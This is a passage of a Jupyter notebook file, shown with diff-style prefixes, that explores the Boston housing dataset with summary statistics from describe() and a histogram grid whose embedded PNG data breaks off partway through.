- " 6.284634 \n",
- " 68.574901 \n",
- " 3.795043 \n",
- " 9.549407 \n",
- " 408.237154 \n",
- " 18.455534 \n",
- " 356.674032 \n",
- " 12.653063 \n",
- " 22.532806 \n",
- " \n",
- " \n",
- " std \n",
- " 8.601545 \n",
- " 23.322453 \n",
- " 6.860353 \n",
- " 0.253994 \n",
- " 0.115878 \n",
- " 0.702617 \n",
- " 28.148861 \n",
- " 2.105710 \n",
- " 8.707259 \n",
- " 168.537116 \n",
- " 2.164946 \n",
- " 91.294864 \n",
- " 7.141062 \n",
- " 9.197104 \n",
- " \n",
- " \n",
- " min \n",
- " 0.006320 \n",
- " 0.000000 \n",
- " 0.460000 \n",
- " 0.000000 \n",
- " 0.385000 \n",
- " 3.561000 \n",
- " 2.900000 \n",
- " 1.129600 \n",
- " 1.000000 \n",
- " 187.000000 \n",
- " 12.600000 \n",
- " 0.320000 \n",
- " 1.730000 \n",
- " 5.000000 \n",
- " \n",
- " \n",
- " 25% \n",
- " 0.082045 \n",
- " 0.000000 \n",
- " 5.190000 \n",
- " 0.000000 \n",
- " 0.449000 \n",
- " 5.885500 \n",
- " 45.025000 \n",
- " 2.100175 \n",
- " 4.000000 \n",
- " 279.000000 \n",
- " 17.400000 \n",
- " 375.377500 \n",
- " 6.950000 \n",
- " 17.025000 \n",
- " \n",
- " \n",
- " 50% \n",
- " 0.256510 \n",
- " 0.000000 \n",
- " 9.690000 \n",
- " 0.000000 \n",
- " 0.538000 \n",
- " 6.208500 \n",
- " 77.500000 \n",
- " 3.207450 \n",
- " 5.000000 \n",
- " 330.000000 \n",
- " 19.050000 \n",
- " 391.440000 \n",
- " 11.360000 \n",
- " 21.200000 \n",
- " \n",
- " \n",
- " 75% \n",
- " 3.677082 \n",
- " 12.500000 \n",
- " 18.100000 \n",
- " 0.000000 \n",
- " 0.624000 \n",
- " 6.623500 \n",
- " 94.075000 \n",
- " 5.188425 \n",
- " 24.000000 \n",
- " 666.000000 \n",
- " 20.200000 \n",
- " 396.225000 \n",
- " 16.955000 \n",
- " 25.000000 \n",
- " \n",
- " \n",
- " max \n",
- " 88.976200 \n",
- " 100.000000 \n",
- " 27.740000 \n",
- " 1.000000 \n",
- " 0.871000 \n",
- " 8.780000 \n",
- " 100.000000 \n",
- " 12.126500 \n",
- " 24.000000 \n",
- " 711.000000 \n",
- " 22.000000 \n",
- " 396.900000 \n",
- " 37.970000 \n",
- " 50.000000 \n",
- " \n",
- " \n",
- "
\n",
- "
"
- ],
- "text/plain": [
- " CRIM ZN INDUS CHAS NOX RM \\\n",
- "count 506.000000 506.000000 506.000000 506.000000 506.000000 506.000000 \n",
- "mean 3.613524 11.363636 11.136779 0.069170 0.554695 6.284634 \n",
- "std 8.601545 23.322453 6.860353 0.253994 0.115878 0.702617 \n",
- "min 0.006320 0.000000 0.460000 0.000000 0.385000 3.561000 \n",
- "25% 0.082045 0.000000 5.190000 0.000000 0.449000 5.885500 \n",
- "50% 0.256510 0.000000 9.690000 0.000000 0.538000 6.208500 \n",
- "75% 3.677082 12.500000 18.100000 0.000000 0.624000 6.623500 \n",
- "max 88.976200 100.000000 27.740000 1.000000 0.871000 8.780000 \n",
- "\n",
- " AGE DIS RAD TAX PTRATIO B \\\n",
- "count 506.000000 506.000000 506.000000 506.000000 506.000000 506.000000 \n",
- "mean 68.574901 3.795043 9.549407 408.237154 18.455534 356.674032 \n",
- "std 28.148861 2.105710 8.707259 168.537116 2.164946 91.294864 \n",
- "min 2.900000 1.129600 1.000000 187.000000 12.600000 0.320000 \n",
- "25% 45.025000 2.100175 4.000000 279.000000 17.400000 375.377500 \n",
- "50% 77.500000 3.207450 5.000000 330.000000 19.050000 391.440000 \n",
- "75% 94.075000 5.188425 24.000000 666.000000 20.200000 396.225000 \n",
- "max 100.000000 12.126500 24.000000 711.000000 22.000000 396.900000 \n",
- "\n",
- " LSTAT MEDV \n",
- "count 506.000000 506.000000 \n",
- "mean 12.653063 22.532806 \n",
- "std 7.141062 9.197104 \n",
- "min 1.730000 5.000000 \n",
- "25% 6.950000 17.025000 \n",
- "50% 11.360000 21.200000 \n",
- "75% 16.955000 25.000000 \n",
- "max 37.970000 50.000000 "
- ]
- },
- "execution_count": 5,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "housing.describe()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 6,
- "metadata": {},
- "outputs": [],
- "source": [
- "%matplotlib inline"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 7,
- "metadata": {},
- "outputs": [],
- "source": []
- },
- {
- "cell_type": "code",
- "execution_count": 8,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "array([[,\n",
- " ,\n",
- " ,\n",
- " ],\n",
- " [,\n",
- " ,\n",
- " ,\n",
- " ],\n",
- " [,\n",
- " ,\n",
- " ,\n",
- " ],\n",
- " [,\n",
- " , ,\n",
- " ]], dtype=object)"
- ]
- },
- "execution_count": 8,
- "metadata": {},
- "output_type": "execute_result"
- },
- {
- "data": {
- "image/png": "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